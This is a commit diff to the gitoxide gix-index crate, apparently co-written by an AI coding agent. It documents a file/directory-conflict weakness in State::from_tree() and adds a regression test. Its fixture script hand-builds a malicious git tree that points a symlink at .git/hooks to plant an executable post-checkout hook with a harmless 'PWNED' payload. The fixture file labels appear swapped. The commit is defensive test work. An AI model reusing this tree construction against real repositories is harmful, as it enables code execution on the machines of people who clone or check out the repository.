document vulnerability of State::from_tree()

This is currently not easily exploitable as anything that interacts
with the worktree goes through a symlink check, which catches this issue
naturally.

The plan is to get closer to how Git keeps the sort order, which detects
such issues more naturally.

Co-authored-by: Sebastian Thiel <sebastian.thiel@icloud.com>

Author: codex

gix-index/src/init.rs

@@ -44,10 +44,21 @@ pub mod from_tree {
                 end_of_index_at_decode_time: false,
             }
         }
+
         /// Create an index [`State`] by traversing `tree` recursively, accessing sub-trees
         /// with `objects`.
         /// `validate` is used to determine which validations to perform on every path component we see.
         ///
+        /// # Security
+        ///
+        /// This currently trusts tree shape beyond individual path-component validation, and is exploitable with
+        /// malicious trees that contain file/directory conflicts like `a` and `a/x`. Such trees can produce an
+        /// index [`State`] with inconsistent paths, which may panic or confuse downstream checkout/index consumers.
+        ///
+        /// A previous normalization pass tried to remove these conflicts after traversal, but only checked adjacent
+        /// entries. That was incomplete because [`Entry::cmp_filepaths()`] can order unrelated paths between a file
+        /// and its conflicting child, for example `a`, `a.`, `a/x`.
+        ///
         /// **No extension data is currently produced**.
         pub fn from_tree<Find>(
             tree: &gix_hash::oid,

gix-index/tests/fixtures/generated-archives/make_symlink_prefix_reuse_advisory.tar

@@ -0,0 +1,31 @@
+#!/usr/bin/env bash
+set -eu -o pipefail
+
+git init -q --initial-branch=main
+
+payload_blob=$(printf '#!/bin/sh\n\necho "PWNED: post-checkout" >&2\n' | git hash-object -w --stdin)
+target_dir_blob=$(echo -n .git/hooks | git hash-object -w --stdin)
+target_file_blob=$(echo -n ../../payload | git hash-object -w --stdin)
+
+subtree=$(printf '120000 blob %s\tpost-checkout\n' "$target_file_blob" | git mktree)
+
+hex2bin() {
+  perl -e 'print pack("H*", $ARGV[0])' "$1"
+}
+
+root_tree() {
+  printf '120000 a\0'
+  hex2bin "$target_dir_blob"
+
+  printf '40000 a\0'
+  hex2bin "$subtree"
+
+  printf '100755 payload\0'
+  hex2bin "$payload_blob"
+}
+
+root_tree=$(root_tree | git hash-object --literally -t tree -w --stdin)
+commit=$(git commit-tree "$root_tree" -m 'Initial commit')
+git update-ref refs/heads/main "$commit"
+git symbolic-ref HEAD refs/heads/main
+git rev-parse @^{tree} > head.tree

gix-index/tests/fixtures/make_symlink_prefix_reuse_advisory.sh

@@ -52,6 +52,30 @@ fn from_tree_validation() -> crate::Result {
     Ok(())
 }
 
+#[test]
+fn from_tree_returns_file_directory_conflicts_until_fixed() -> crate::Result {
+    let worktree_dir = scripted_fixture_read_only_standalone("make_symlink_prefix_reuse_advisory.sh")?;
+    let tree_id = tree_id(&worktree_dir);
+    let odb = gix_odb::at(worktree_dir.join(".git").join("objects"))?;
+
+    let actual_state = State::from_tree(&tree_id, &odb, Default::default())?;
+    actual_state
+        .verify_entries()
+        .expect("valid, even though invariants aren't met");
+
+    let paths: Vec<_> = actual_state
+        .entries()
+        .iter()
+        .map(|entry| entry.path(&actual_state).to_owned())
+        .collect();
+    assert_eq!(
+        paths,
+        ["a", "a/post-checkout", "payload"],
+        "from_tree currently returns malformed file/directory conflicts; update this expected unfixed state once fixed"
+    );
+    Ok(())
+}
+
 #[test]
 fn new() {
     let state = State::new(gix_hash::Kind::Sha1);